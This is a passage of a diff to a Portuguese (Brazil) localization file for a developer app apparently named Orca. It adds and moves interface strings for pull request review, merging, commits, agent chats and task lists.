+      "bots": "Robôs",
+      "noBotComments": "Nenhum comentário de bot.",
+      "noHumanComments": "Nenhum comentário humano.",
+      "commentsLoadFailed": "Não foi possível carregar os comentários. Toque em atualizar para tentar novamente.",
+      "showMoreOf": "Mostrar {{count}} mais de {{remaining}}",
+      "addCommentPlaceholder": "Adicione um comentário…",
+      "resolvedThreadSingle": "Thread resolvida de {{author}}",
+      "resolvedThreadCount": "Tópico resolvido por {{author}} ({{count}})",
+      "resolvedCommentSingle": "Comentário resolvido de {{author}}",
+      "resolvedCommentCount": "Comentário resolvido por {{author}} ({{count}})",
+      "commentsLoadFailedRetry": "Não foi possível carregar os comentários."
     },
     "linkPrForm": {
       "linkButton": "Vincular pull request",
@@ -1854,7 +2037,10 @@
       "reopenButton": "Reabrir",
       "reopenConfirmMessage": "#{{number}} será reaberto.",
       "reopenConfirmTitle": "Reabrir pull request?",
-      "unlinkButton": "Desvincular"
+      "unlinkButton": "Desvincular",
+      "unlinkFailed": "Falha ao desvincular o pull request.",
+      "mergeConfirmTitle": "Mesclar pull request?",
+      "mergeButton": "Mesclar"
     },
     "prActionsState": {
       "behindHint": "Atualize a branch antes de fazer o merge",
@@ -1956,7 +2142,8 @@
       "currentBranchNotLinked": "A branch atual não está vinculada a um PR aberto.",
       "linkExistingPullRequest": "Vincular um pull request existente",
       "linkedPrUnavailable": "PR vinculado #{{number}} indisponível",
-      "refreshOrCreate": "Atualize para verificar novamente ou crie um novo PR para esta branch."
+      "refreshOrCreate": "Atualize para verificar novamente ou crie um novo PR para esta branch.",
+      "branchRequired": "Faça checkout de uma branch antes de criar um pull request."
     },
     "prViewPanel": {
       "branchUnavailable": "Branch atual indisponível.",
@@ -1976,7 +2163,172 @@
       "removeReviewer": "Remover {{login}}",
       "requested": "Solicitado",
       "reviewed": "Revisado",
-      "title": "Revisores"
+      "title": "Revisores",
+      "loadFailed": "Não foi possível carregar os revisores. Toque em atualizar para tentar novamente."
+    },
+    "tab": {
+      "updated": "atualizado {{time}}",
+      "moreActions": "Mais ações de pull request",
+      "unlinkConfirmTitle": "Desvincular pull request?",
+      "unlinkConfirmMessage": "#{{number}} permanece aberto no GitHub; este espaço de trabalho para de rastreá-lo.",
+      "createPullRequest": "Criar pull request",
+      "mergedInto": "Mesclado em {{base}}",
+      "merged": "Mesclado",
+      "cantMergeYet": "Ainda não é possível mesclar:",
+      "willMergeWhenReady": "Irá mesclar quando estiver pronto",
+      "mergeWhenReady": "Mesclar quando estiver pronto",
+      "commentsOnFiles": "{{comments}} comentários em {{files}} arquivos",
+      "filesChanged_one": "{{count}} arquivo alterado",
+      "filesChanged_other": "{{count}} arquivos alterados",
+      "editDescription": "Editar descrição",
+      "edit": "Editar",
+      "showLess": "Mostrar menos",
+      "showMore": "Mostrar mais",
+      "viewedOf": "{{viewed}} de {{total}} visualizados",
+      "filesChanged_many": "{{count}} arquivos alterados"
+    },
+    "menu": {
+      "refresh": "Atualizar",
+      "openOnGitHub": "Abrir no GitHub",
+      "copied": "Copiado",
+      "copyLink": "Copiar link",
+      "editTitle": "Editar título",
+      "autoMerge": "Mesclar automaticamente",
+      "markDraft": "Marcar como rascunho",
+      "unlink": "Desvincular do espaço de trabalho",
+      "close": "Fechar pull request"
+    },
+    "mergeSheet": {
+      "squashDetail": "Um commit em {{base}}",
+      "mergeDetail": "Mantém cada commit",
+      "rebaseDetail": "Reproduz cada commit em {{base}}",
+      "subtitle": "Em {{base}}",
+      "title": "Mesclar #{{number}}"
+    },
+    "editSheet": {
+      "title": "Editar título",
+      "description": "Editar descrição"
+    },
+    "createSheet": {
+      "base": "Base",
+      "searchBranches": "Buscar branches",
+      "branchSearchFailed": "Falha ao buscar branches",
+      "noBranches": "Nenhuma ramificação correspondente",
+      "title": "Crie {{reviewLabel}}",
+      "titleLabel": "Título",
+      "descriptionLabel": "Descrição",
+      "writeWithAi": "Escreva com IA",
+      "descriptionPlaceholder": "Opcional",
+      "draft": "Criar como rascunho"
+    },
+    "screens": {
+      "hideLog": "Ocultar registro",
+      "viewLog": "Ver registro",
+      "copyError": "Copiar erro",
+      "openOnGitHub": "Abrir no GitHub",
+      "failedAfter": "Falha após {{duration}}",
+      "failed": "Falhou",
+      "rerun": "Executar novamente",
+      "copyErrorFailed": "Não foi possível copiar o erro.",
+      "durationMinutes": "{{minutes}}min {{seconds}}s",
+      "failing": "Com falha",
+      "fixWithAi": "Corrigir com IA",
+      "runningSection": "Em execução",
+      "queued": "Na fila",
+      "inProgress": "Em andamento",
+      "passedSection": "Aprovado",
+      "neutralSection": "Neutro",
+      "filterComments": "Filtrar comentários",
+      "unresolvedCount": "Não resolvido {{count}}",
+      "noUnresolved": "Não há tópicos não resolvidos.",
+      "hideBots": "Ocultar bots",
+      "bot": "robô",
+      "commentActions": "Mais para este comentário",
+      "replyAndMore": "{{body}} (+{{count}} mais)",
+      "severityCritical": "Crítico",
+      "severityMajor": "Alta",
+      "severityMinor": "Baixa",
+      "severityTrivial": "Trivial",
+      "thread": "Discussão",
+      "backToComments": "Voltar aos comentários",
+      "threadGone": "Esta discussão não está mais no pull request.",
+      "replyPlaceholder": "Responder…",
+      "back": "Voltar ao pull request",
+      "noPullRequest": "Esta branch não tem um pull request no momento.",
+      "live": "Ao vivo",
+      "askToFix": "Peça ao {{agent}} para corrigir",
+      "askAiToFix": "Peça à IA para consertar",
+      "checkActions": "Mais para {{name}}",
+      "durationSeconds": "{{seconds}}s",
+      "durationHours": "{{hours}}h {{minutes}}m",
+      "namesAndMore": "{{names}} e {{count}} mais",
+      "running": "{{count}} em execução",
+      "commentOnPr": "Comente em #{{number}}…",
+      "allCount": "Todos {{count}}",
+      "resolvedCount": "Resolvido {{count}}",
+      "threadSubtitle_one": "{{author}} · {{count}} mensagem",
+      "threadSubtitle_other": "{{author}} · {{count}} mensagens",
+      "fixWith": "Corrigir com {{agent}}",
+      "threadSubtitle_many": "{{author}} · {{count}} mensagens"
+    },
+    "reviewersSheet": {
+      "approvals_one": "{{count}} aprovação",
+      "approvals_other": "{{count}} aprovações",
+      "addReviewer": "Adicionar um revisor",
+      "approvals_many": "{{count}} aprovações"
+    },
+    "emptyState": {
+      "commitsReady_one": "{{count}} commit em {{branch}} está pronto para entrar em {{base}}.",
+      "commitsReady_other": "{{count}} commits em {{branch}} estão prontos para entrar em {{base}}.",
+      "title": "Ainda não há pull request",
+      "commitsReady_many": "{{count}} commits em {{branch}} estão prontos para entrar em {{base}}."
+    },
+    "gates": {
+      "checksUnavailable": "Verificações indisponíveis",
+      "checksFailing_one": "{{count}} verificação falhando",
+      "checksFailing_other": "{{count}} verificações falhando",
+      "checksRunning_one": "{{count}} verificação em execução",
+      "checksRunning_other": "{{count}} verificações em execução",
+      "checksPassedSoFar": "Verificações aprovadas até agora: {{count}}",
+      "noChecks": "Nenhuma verificação",
+      "checksFinished": "Verificações concluídas",
+      "checksPassed_one": "{{count}} verificação aprovada",
+      "checksPassed_other": "{{count}} verificações aprovadas",
+      "checksNeutral": "Verificações neutras: {{count}}",
+      "threads": "Discussões da revisão",
+      "commentsUnavailable": "Comentários indisponíveis",
+      "allThreadsResolved": "Todos os tópicos resolvidos",
+      "noThreads": "Nenhum tópico de revisão",
+      "fromBots_one": "{{count}} de um bot",
+      "fromBots_other": "{{count}} de bots",
+      "unresolvedThreads_one": "{{count}} tópico não resolvido",
+      "unresolvedThreads_other": "{{count}} tópicos não resolvidos",
+      "changesRequested": "Alterações solicitadas",
+      "requestedChangesBy": "Alterações solicitadas por {{logins}}",
+      "approvedBy": "Aprovado por {{logins}}",
+      "reviewRequestedFrom": "Revisão solicitada a {{logins}}",
+      "reviewRequired": "Revisão necessária",
+      "noApprovals": "Ainda não há aprovações",
+      "approvals_one": "{{count}} aprovação",
+      "approvals_other": "{{count}} aprovações",
+      "conflictsWithBase": "Conflitos com {{base}}",
+      "conflicts": "Conflitos de merge",
+      "conflictFiles_one": "{{count}} arquivo",
+      "conflictFiles_other": "{{count}} arquivos",
+      "conflictsChecking": "Verificando conflitos",
+      "noConflictsWithBase": "Sem conflitos com {{base}}",
+      "noConflicts": "Sem conflitos",
+      "threadAuthorOnFile": "{{author}} em {{file}}",
+      "checksFailing_many": "{{count}} verificações falhando",
+      "checksRunning_many": "{{count}} verificações em execução",
+      "checksPassed_many": "{{count}} verificações aprovadas",
+      "fromBots_many": "{{count}} de bots",
+      "unresolvedThreads_many": "{{count}} tópicos não resolvidos",
+      "approvals_many": "{{count}} aprovações",
+      "conflictFiles_many": "{{count}} arquivos"
+    },
+    "checkStatus": {
+      "cancelled": "Cancelado"
     }
   },
   "session": {
@@ -1994,7 +2346,10 @@
       "switchToPhoneMode": "Mudar para o modo celular",
       "pasteFromClipboard": "Colar da área de transferência",
       "paste": "Colar",
-      "addCustomShortcut": "Adicionar atalho personalizado"
+      "addCustomShortcut": "Adicionar atalho personalizado",
+      "control": "Ctrl",
+      "alt": "Alt",
+      "shift": "Shift"
     },
     "activeContent": {
       "createTab": "Criar Aba",
@@ -2117,7 +2472,8 @@
     },
     "commandDock": {
       "liveInputHint": "O texto digitado é enviado diretamente ao terminal ativo.",
-      "liveInputLabel": "Entrada em tempo real no terminal"
+      "liveInputLabel": "Entrada em tempo real no terminal",
+      "tapToShowKeyboard": "Toque para mostrar o teclado"
     },
     "contentRow": {
       "dismissCreationWarning": "Dispensar aviso de criação do espaço de trabalho"
@@ -2136,17 +2492,30 @@
       "committedDiffUnavailable": "Diff de alterações commitadas indisponível",
       "desktopUpdateRequired": "Atualize o Orca no desktop para revisar alterações no celular.",
       "diffLoadFailed": "Não foi possível carregar o diff",
-      "reviewNotesLoadFailed": "Não foi possível carregar as notas de revisão"
+      "reviewNotesLoadFailed": "Não foi possível carregar as notas de revisão",
+      "commitLoadFailed": "Não foi possível carregar este commit",
+      "commitDiffUnavailable": "O diff do commit não está disponível."
     },
     "diffReviewQueue": {
       "committedOnBranch": "Commitado na branch",
       "staged": "Preparado",
-      "unstaged": "Não preparado"
+      "unstaged": "Não preparado",
+      "inCommit": "Neste commit"
     },
     "diffReviewScreenModel": {
       "branch": "Branch",
       "staged": "Preparado",
-      "unstaged": "Não preparado"
+      "unstaged": "Não preparado",
+      "positionUncommitted": "{{position}} de {{count}} não confirmado",
+      "positionInCommit": "{{position}} de {{count}} neste commit",
+      "positionViewed": "{{position}} de {{count}} · {{viewedCount}} visualizados",
+      "commitFiles_one": "{{count}} arquivo",
+      "commitFiles_other": "{{count}} arquivos",
+      "uncommittedFiles_one": "{{count}} não confirmado",
+      "uncommittedFiles_other": "{{count}} não confirmado",
+      "viewedOfCount": "{{viewedCount}} de {{count}} visualizados",
+      "commitFiles_many": "{{count}} arquivos",
+      "uncommittedFiles_many": "{{count}} não confirmado"
     },
     "failure": {
       "accountSwitchInProgress": "A configuração de {{agent}} está sendo alterada neste host. Tente novamente quando terminar.",
@@ -2275,7 +2644,8 @@
       "waitForBackgroundTasks": "Aguarde a conclusão das tarefas em segundo plano.",
       "waitForStart": "Aguarde o agente terminar de iniciar.",
       "writeFailed": "O Orca não conseguiu repassar esta mensagem ao agente, por isso ela não foi enviada.",
-      "pluginInputRequired": "{{agent}} parou porque o plugin \"{{plugin}}\" está aguardando uma entrada em um painel de terminal. Desative o plugin para sessões de chat ou execute a tarefa em um terminal {{agent}}."
+      "pluginInputRequired": "{{agent}} parou porque o plugin \"{{plugin}}\" está aguardando uma entrada em um painel de terminal. Desative o plugin para sessões de chat ou execute a tarefa em um terminal {{agent}}.",
+      "unconfirmed": "Não foi possível confirmar se isto foi enviado. Não foi reenviado."
     },
     "fileReader": {
       "copyReviewNotes": "Copiar notas de revisão",
@@ -2286,14 +2656,16 @@
       "reviewNotes_one": "{{count}} nota de revisão",
       "reviewNotes_other": "{{count}} notas de revisão",
       "send": "Enviar",
-      "sendReviewNotes": "Enviar notas de revisão à IA"
+      "sendReviewNotes": "Enviar notas de revisão à IA",
+      "loading": "Carregando arquivo…"
     },
     "floatingWorkspace": {
       "title": "Espaço de Trabalho Flutuante"
     },
     "githubPrMutations": {
       "reviewThreadUpdateFailed": "Falha ao atualizar a thread de revisão.",
-      "titleUpdateFailed": "Falha ao atualizar o título."
+      "titleUpdateFailed": "Falha ao atualizar o título.",
+      "fileViewedFailed": "Falha ao atualizar o estado visualizado."
     },
     "githubPrRpc": {
       "requestFailed": "Falha na solicitação: {{method}}"
@@ -2327,7 +2699,8 @@
       "copySource": "Copiar código-fonte Markdown",
       "discard": "Descartar",
       "previewTruncated": "Pré-visualização truncada.",
-      "readOnly": "Somente leitura"
+      "readOnly": "Somente leitura",
+      "loading": "Carregando documento…"
     },
     "nativeChatAttachActions": {
       "availableSkills": "Disponíveis: {{count}}",
@@ -2524,7 +2897,8 @@
     "tabStrip": {
       "checkingCapabilities": "Verificando os recursos do desktop — tente novamente em instantes",
       "newTab": "Nova aba",
-      "quickCommandsUpdateRequired": "Atualize o desktop para usar comandos rápidos"
+      "quickCommandsUpdateRequired": "Atualize o desktop para usar comandos rápidos",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "Limpar Terminal",
@@ -2594,7 +2968,8 @@
     "useDiffReviewController": {
       "loadFailed": "Não foi possível carregar a revisão",
       "missingWorktree": "Worktree ausente",
-      "waitingForDesktop": "Aguardando o desktop…"
+      "waitingForDesktop": "Aguardando o desktop…",
+      "commitMissing": "Atualize o aplicativo Orca para abrir arquivos de commit aqui."
     },
     "useDiffReviewDiffLoading": {
       "loadFailed": "Não foi possível carregar o diff",
@@ -2777,7 +3152,8 @@
       "waitForCommand": "Aguarde a conclusão do /compact ou /clear.",
       "waitForStart": "Aguarde o agente terminar de iniciar.",
       "waitForTurn": "Aguarde o agente terminar de responder ou interrompa-o.",
-      "waitMoment": "Aguarde um momento."
+      "waitMoment": "Aguarde um momento.",
+      "mailOwnerUnconfirmed": "Orca não conseguiu confirmar se esta mensagem ainda se destina a este chat."
     },
     "workerAutoClose": {
       "running": "Agente de orquestração temporário · Fecha 2 minutos após terminar",
@@ -2823,7 +3199,47 @@
     },
     "structuredOpen": {
       "worktreeDeleted": "A worktree foi excluída.",
-      "folderWorkspaceRemoved": "O espaço de trabalho de pasta foi removido."
+      "folderWorkspaceRemoved": "O espaço de trabalho de pasta foi removido.",
+      "goneGeneric": "O chat do agente não está mais neste host, portanto não pode ser reaberto aqui.",
+      "unknownGeneric": "Não foi possível encontrar o bate-papo do agente neste host. Reconecte-se ao computador e tente novamente.",
+      "unsupportedGeneric": "O chat do agente não pode ser reaberto até que o Orca seja atualizado.",
+      "unreachableGeneric": "O chat do agente ainda não está disponível. Tente novamente em alguns instantes.",
+      "gone": "O bate-papo de {{agent}} não está mais neste host, portanto não pode ser reaberto aqui.",
+      "unknown": "O bate-papo de {{agent}} não foi encontrado neste host. Reconecte-se ao computador e tente novamente.",
+      "unsupported": "O bate-papo de {{agent}} não pode ser reaberto até que o Orca seja atualizado.",
+      "unreachable": "O bate-papo de {{agent}} ainda não está disponível. Tente novamente em alguns instantes.",
+      "paneUnavailable": "O painel do agente não está mais disponível."
+    },
+    "nativeChatView": {
+      "loading": "Carregando conversa…"
+    },
+    "contentState": {
+      "connectingTo": "Conectando-se a {{host}}…",
+      "connecting": "Conectando…",
+      "tabsStalled": "As guias estão demorando mais que o esperado"
+    },
+    "presentation": {
+      "loadingTabs": "Carregando guias",
+      "oneTab": "1 guia",
+      "tabCount": "{{tabCount}} guias",
+      "tapToRetry": "{{status}} — toque para tentar novamente"
+    },
+    "documentReaders": {
+      "markdownFailed": "Não foi possível carregar o Markdown.",
+      "diffFailed": "Não foi possível carregar a visualização das diferenças",
+      "fileFailed": "Não foi possível carregar a visualização do arquivo",
+      "outsideWorkspace": "Este arquivo está fora do espaço de trabalho. Abra-o no computador para visualizá-lo."
+    },
+    "linkActionSheet": {
+      "openInOrca": "Abrir no navegador do Orca",
+      "openInBrowser": "Abrir no navegador do sistema",
+      "copyLink": "Copiar link"
+    },
+    "useDiffReviewGitHub": {
+      "waitingForDesktop": "Aguardando o desktop…"
+    },
+    "usePrTextAction": {
+      "updateFailed": "Falha ao atualizar o pull request."
     }
   },
   "settings": {
@@ -2976,7 +3392,8 @@
       "speechModelHeading": "MODELO DE VOZ",
       "title": "Voz",
       "toggleMode": "Alternar",
-      "updateFailed": "Não foi possível atualizar"
+      "updateFailed": "Não foi possível atualizar",
+      "loading": "Carregando configurações de voz…"
     },
     "agents": {
       "permissionOwnAll": "Configurações próprias dos agentes"
@@ -3028,7 +3445,8 @@
       "switchBranch": "Trocar de branch",
       "syncCounts": "Faça pull de {{behind}} e push de {{ahead}}.",
       "upToDate": "Nada para fazer commit. A branch está atualizada.",
-      "waitForRemoteOperation": "Tente novamente quando a operação remota terminar."
+      "waitForRemoteOperation": "Tente novamente quando a operação remota terminar.",
+      "openCommits": "Abrir commits"
     },
     "branchBaseRef": {
       "resolveFailed": "Não foi possível determinar a branch base"
@@ -3149,7 +3567,9 @@
       "renamedFrom": "de {{path}}",
       "stageFile": "Adicionar {{path}} ao stage",
       "unresolvedConflict": "Conflito não resolvido",
-      "unstageFile": "Remover {{path}} do stage"
+      "unstageFile": "Remover {{path}} do stage",
+      "discard": "Descartar",
+      "discardFile": "Descartar {{path}}"
     },
     "gitHistory": {
       "days_many": "{{count}}d",
@@ -3177,10 +3597,13 @@
       "noCommits": "Nenhum commit.",
       "noFileChanges": "Nenhuma alteração em arquivos",
       "retryFiles": "Tentar carregar os arquivos do commit novamente",
-      "waitingForDesktop": "Aguardando o desktop…"
+      "waitingForDesktop": "Aguardando o desktop…",
+      "loading": "Carregando commits…"
     },
     "gitStatus": {
-      "conflicts": "Conflitos"
+      "conflicts": "Conflitos",
+      "uncommitted": "Sem commit",
+      "staged": "Preparado"
     },
     "header": {
       "backToSession": "Voltar à sessão",
@@ -3239,7 +3662,8 @@
       "pushBeforeCreateFailed": "O push falhou. Resolva o erro de push e tente novamente."
     },
     "hubTab": {
-      "changes": "Alterações"
+      "changes": "Alterações",
+      "pullRequest": "Pull request"
     },
     "loaders": {
       "connectingToDesktop": "Conectando ao desktop…",
@@ -3258,7 +3682,8 @@
       "switchBranchTitle": "Trocar Branch"
     },
     "panel": {
-      "unavailableTitle": "Controle de Código-Fonte Indisponível"
+      "unavailableTitle": "Controle de Código-Fonte Indisponível",
+      "loading": "Carregando alterações…"
     },
     "prCreate": {
       "authRequired": "Autentique-se antes de criar um {{reviewLabel}}.",
@@ -3289,7 +3714,17 @@
       "publishBranch": "Publicar Branch",
       "pull": "Pull",
       "push": "Push",
-      "sync": "Sincronizar"
+      "sync": "Sincronizar",
+      "commitFiles_one": "Criar commit com {{count}} arquivo",
+      "commitFiles_other": "Criar commit com {{count}} arquivos",
+      "pushCommits_one": "Fazer push de {{count}} commit",
+      "pushCommits_other": "Fazer push de {{count}} commits",
+      "pullCommits_one": "Fazer pull de {{count}} commit",
+      "pullCommits_other": "Fazer pull de {{count}} commits",
+      "stageAll": "Adicionar tudo ao stage",
+      "commitFiles_many": "Criar commit com {{count}} arquivos",
+      "pushCommits_many": "Fazer push de {{count}} commits",
+      "pullCommits_many": "Fazer pull de {{count}} commits"
     },
     "remoteDropdown": {
       "branchAlreadyPublished": "A branch já está publicada",
@@ -3447,25 +3882,100 @@
       "markResolved": "Marcar como resolvido",
       "keepFile": "Manter arquivo",
       "keepDeletion": "Manter exclusão",
-      "completeMergeFailed": "Não foi possível concluir a mesclagem"
+      "completeMergeFailed": "Não foi possível concluir a mesclagem",
+      "resolveFile": "{{action}}: {{path}}"
+    },
+    "useMobileCreatePrRunner": {
+      "branchRequired": "Faça checkout de uma branch antes de criar um pull request."
+    },
+    "commitDetail": {
+      "copySha": "Copiar SHA",
+      "openOnGitHub": "Abrir no GitHub",
+      "openOnWeb": "Abrir na web",
+      "back": "Voltar para commits",
+      "title": "Commit",
+      "more": "Mais ações de commit",
+      "author": "Autor",
+      "date": "Data",
+      "status": "Status",
+      "onOrigin": "Na origem",
+      "notPushed": "Não enviado",
+      "files_one": "{{count}} arquivo",
+      "files_other": "{{count}} arquivos",
+      "filesHeader": "Arquivos",
+      "authorWithCoAuthors": "{{author}}, com {{coAuthors}}",
+      "files_many": "{{count}} arquivos"
+    },
+    "commits": {
+      "branchedFrom": "Ramificado de {{baseRef}}",
+      "baseUpToDate": "Atualizada",
+      "baseNewer_one": "1 commit mais recente",
+      "baseNewer_other": "{{count}} commits mais recentes",
+      "updateBranch": "Atualizar branch",
+      "back": "Voltar ao controle de versão",
+      "title": "Commits",
+      "loadMoreFailed": "Não foi possível carregar mais commits. Tentar novamente",
+      "notPushed": "Commits não enviados: {{count}}",
+      "onOrigin": "Na origem {{count}}",
+      "baseNewer_many": "{{count}} commits mais recentes"
+    },
+    "nextStep": {
+      "willMergeWhenReady": "Irá mesclar quando estiver pronto",
+      "cancelAutoMerge": "Cancelar",
+      "cancelAutoMergeLabel": "Cancelar mesclagem automática",
+      "mergedInto": "Mesclado em {{base}}",
+      "merged": "Mesclado",
+      "genericAgent": "AI",
+      "cantMergeYet": "Ainda não é possível mesclar:",
+      "checksFailing_one": "{{count}} verificação falhando",
+      "checksFailing_other": "{{count}} verificações falhando",
+      "mergeWhenReady": "Mesclar quando estiver pronto",
+      "merge": "Mesclar",
+      "checksRunning_one": "{{count}} verificação ainda em execução",
+      "checksRunning_other": "{{count}} verificações ainda em execução",
+      "waitingOnReviewer": "Aguardando revisão de {{login}}",
+      "waitingOnReview": "Aguardando revisão",
+      "resolveWithAgent": "Resolva com {{agent}}",
+      "fixWithAgent": "Corrigir com {{agent}}",
+      "pushAndCreateReview": "Envie e crie {{review}}",
+      "createReview": "Criar {{review}}",
+      "checksFailing_many": "{{count}} verificações falhando",
+      "checksRunning_many": "{{count}} verificações ainda em execução"
+    },
+    "prCreateDraft": {
+      "generateFailed": "Falha ao escrever uma descrição"
+    },
+    "changesHeader": {
+      "merging": "Fazendo merge",
+      "rebasing": "Fazendo rebase",
+      "cherryPicking": "Aplicando cherry-pick",
+      "notPublished": "Não publicado",
+      "notPushed": "{{count}} não enviado",
+      "behind": "{{count}} atrás",
+      "upToDate": "Atualizada",
+      "switchBranch": "Mudar branch de {{branch}}",
+      "mergeInProgress": "Merge em andamento",
+      "rebaseInProgress": "Rebase em andamento",
+      "cherryPickInProgress": "Cherry-pick em andamento",
+      "filesNeedDecision_one": "{{count}} arquivo precisa de uma decisão antes de você concluir.",
+      "filesNeedDecision_other": "{{count}} arquivos precisam de uma decisão antes de você terminar.",
+      "conflictsResolved": "Todos os conflitos foram resolvidos. Conclua na barra abaixo.",
+      "continueOnComputer": "Todo conflito é resolvido. Continue no seu computador para terminar.",
+      "commits_one": "{{count}} commit",
+      "commits_other": "{{count}} commits",
+      "conflictsMayRemain": "Nem todos os arquivos estão listados, portanto, os conflitos podem permanecer. Verifique no seu computador.",
+      "filesNeedDecision_many": "{{count}} arquivos precisam de uma decisão antes de você terminar.",
+      "commits_many": "{{count}} commits"
+    },
+    "fileList": {
+      "stageAll": "Adicionar tudo ao stage",
+      "mergedCleanly": "Mesclado de forma limpa",
+      "unstageAll": "Remover tudo do stage",
+      "onThisBranch": "Nesta branch: {{count}}",
+      "versusBase": "versus {{base}}"
     }
   },
   "tasks": {
-    "hostedMerge": {
-      "merged": "Mesclado",
-      "closed": "Fechado",
-      "conflicts": "Conflitos",
-      "behind": "Desatualizado",
-      "blocked": "Bloqueado",
-      "checksPending": "Verificações pendentes",
-      "ableToMerge": "Pode ser mesclado",
-      "unknown": "Desconhecido"
-    },
-    "pagination": {
-      "pageUnreachable": "A página {{page}} está além do que a pesquisa do GitHub pode retornar.",
-      "loadPageFailed": "A página {{page}} não pôde ser carregada do GitHub.",
-      "noMoreResults": "Não há mais resultados na página {{page}}."
-    },
     "composerSource": {
       "baseFailed": "Falha ao determinar a branch base.",
       "forkPushWarning": "Este PR está com \"Permitir edições de mantenedores\" desativado; o GitHub pode rejeitar o push para o fork."
@@ -3505,7 +4015,8 @@
       "teamsTitle": "Equipes do Linear",
       "teams_many": "{{count}} equipes",
       "teams_one": "{{count}} equipe",
-      "teams_other": "{{count}} equipes"
+      "teams_other": "{{count}} equipes",
+      "statesFailed": "Não foi possível carregar os estados. Reabra para tentar novamente."
     },
     "githubProjectList": {
       "browseProjects": "Navegar pelos projetos",
@@ -3519,7 +4030,9 @@
       "moreFields_other": "+{{count}} campos",
       "noItems": "Nenhum item no projeto",
       "pullRequestSubtitle": "Pull request · {{repository}}{{number}}",
-      "linkedPullRequestsOverflow": "+{{count}} mais"
+      "linkedPullRequestsOverflow": "+{{count}} mais",
+      "loading": "Carregando projeto…",
+      "noMatches": "Nenhum item do projeto corresponde."
     },
     "githubProjectPickers": {
       "add": "Adicionar",
@@ -3556,7 +4069,10 @@
       "creating": "Criando…",
       "mergeConflicts": "O GitHub informa conflitos de merge.",
       "mergeMergeRequest": "Fazer merge do merge request",
-      "mergePullRequest": "Fazer merge do pull request"
+      "mergePullRequest": "Fazer merge do pull request",
+      "copyLink": "Copiar link",
+      "startWorkspace": "Iniciar espaço de trabalho",
+      "moreActions": "Mais ações"
     },
     "itemDetailContent": {
       "addSubIssue": "Adicionar sub-issue",
@@ -3574,7 +4090,15 @@
       "pipelineJobs_other": "{{count}} jobs",
       "rerunAll": "Reexecutar todas",
       "subIssueTitle": "Título da sub-issue",
-      "subIssues": "Sub-issues"
+      "subIssues": "Sub-issues",
+      "details": "Detalhes",
+      "type": "Tipo",
+      "status": "Status",
+      "assignee": "Responsável",
+      "project": "Projeto",
+      "priority": "Prioridade",
+      "assignees": "Responsáveis",
+      "loading": "Carregando detalhes…"
     },
     "itemDetailDrawer": {
       "refreshDetails": "Atualizar detalhes"
@@ -3811,7 +4335,11 @@
     },
     "providerControls": {
       "myTodos": "Minhas pendências",
-      "projectMergeRequests": "MRs do projeto"
+      "projectMergeRequests": "MRs do projeto",
+      "reposLabel": "Repositórios: {{repos}}",
+      "filter": "Filtro",
+      "filterLabel": "Filtrar e exibir",
+      "filterCount": "Filtro · {{count}}"
     },
     "providerItemList": {
       "intoBranch": "para {{base}}",
@@ -3820,7 +4348,8 @@
       "pageOfTotal": "Página {{page}} de {{total}}",
       "previousPage": "Página anterior",
       "selectPage": "Selecionar página, página {{page}}",
-      "selectPageOfTotal": "Selecionar página, página {{page}} de {{total}}"
+      "selectPageOfTotal": "Selecionar página, página {{page}} de {{total}}",
+      "kindAndStatus": "{{kind}}, {{status}}"
     },
     "providerPickers": {
       "allRepositories": "Todos os repositórios",
@@ -3940,7 +4469,8 @@
       "selectRepository": "Selecione um repositório",
       "startFrom": "Iniciar a partir de",
       "title": "Criar Espaço de Trabalho",
-      "workspaceName": "Nome do Espaço de Trabalho"
+      "workspaceName": "Nome do Espaço de Trabalho",
+      "optionalLabel": "Opcional"
     },
     "workspaceCreateProjection": {
       "nameAlreadyExists": "\"{{name}}\" já existe.",
@@ -3998,7 +4528,69 @@
     },
     "worktreeCreateRetry": {
       "createFailed": "Falha ao criar espaço de trabalho"
-    }
+    },
+    "hostedMerge": {
+      "confirmGitHubMerge": "Mesclar PR #{{number}}?",
+      "confirmGitHubSquash": "Fazer squash e mesclar o PR #{{number}}?",
+      "confirmGitHubRebase": "Fazer rebase e mesclar PR #{{number}}?",
+      "confirmGitLabMerge": "Mesclar o merge request #{{number}}?",
+      "confirmGitLabSquash": "Fazer squash e mesclar o merge request #{{number}}?",
+      "confirmGitLabRebase": "Fazer rebase e mesclar o merge request #{{number}}?",
+      "merged": "Mesclado",
+      "closed": "Fechado",
+      "conflicts": "Conflitos",
+      "behind": "Desatualizado",
+      "blocked": "Bloqueado",
+      "checksPending": "Verificações pendentes",
+      "ableToMerge": "Pode ser mesclado",
+      "unknown": "Desconhecido"
+    },
+    "pagination": {
+      "pageUnreachable": "A página {{page}} está além do que a pesquisa do GitHub pode retornar.",
+      "loadPageFailed": "A página {{page}} não pôde ser carregada do GitHub.",
+      "noMoreResults": "Não há mais resultados na página {{page}}."
+    },
+    "filterSheet": {
+      "sortBy": "Ordenar por",
+      "issueSource": "Origem da issue",
+      "issueSourceRow": "Upstream ou origem",
+      "view": "Exibir",
+      "projectView": "Visualização do projeto",
+      "chooseView": "Escolher",
+      "showOnRows": "Mostrar em linhas",
+      "projectFields": "Campos do projeto",
+      "workspace": "Espaço de Trabalho",
+      "linearWorkspace": "Espaço de trabalho do Linear",
+      "layout": "Disposição",
+      "groupBy": "Agrupar por",
+      "orderBy": "Ordenar por",
+      "displayProperties": "Propriedades de exibição",
+      "title": "Filtrar e exibir",
+      "done": "Concluído",
+      "jqlReplacesPreset": "Sua pesquisa JQL substitui a predefinição Mostrar. Limpe a pesquisa para escolher uma novamente.",
+      "projectItems_one": "{{count}} item",
+      "projectItems_other": "{{count}} itens",
+      "projectItems_many": "{{count}} itens"
+    },
+    "jiraViewControls": {
+      "jqlSearch": "Pesquisa JQL"
+    },
+    "itemComments": {
+      "noComments": "Ainda não há comentários",
+      "oneComment": "1 comentário",
+      "commentCount": "{{commentCount}} comentários"
+    },
+    "listState": {
+      "loading": "Carregando tarefas…"
+    },
+    "connectionPresentation": {
+      "connectToHost": "Conecte-se a um host para carregar tarefas",
+      "noMatchingTasks": "Nenhuma tarefa correspondente"
+    },
+    "runtimeHydration": {
+      "loadFailed": "Falha ao carregar as configurações de Tarefas"
+    },
+    "rerunUnsuccessful": "Repetir verificações"
   },
   "terminal": {
     "keyDefinitions": {
@@ -4097,7 +4689,9 @@
       "noFilterMatches": "Nenhum espaço de trabalho corresponde aos filtros",
       "noMatches": "Nenhum espaço de trabalho encontrado",
       "reopen": "Reabrir para atualizar",
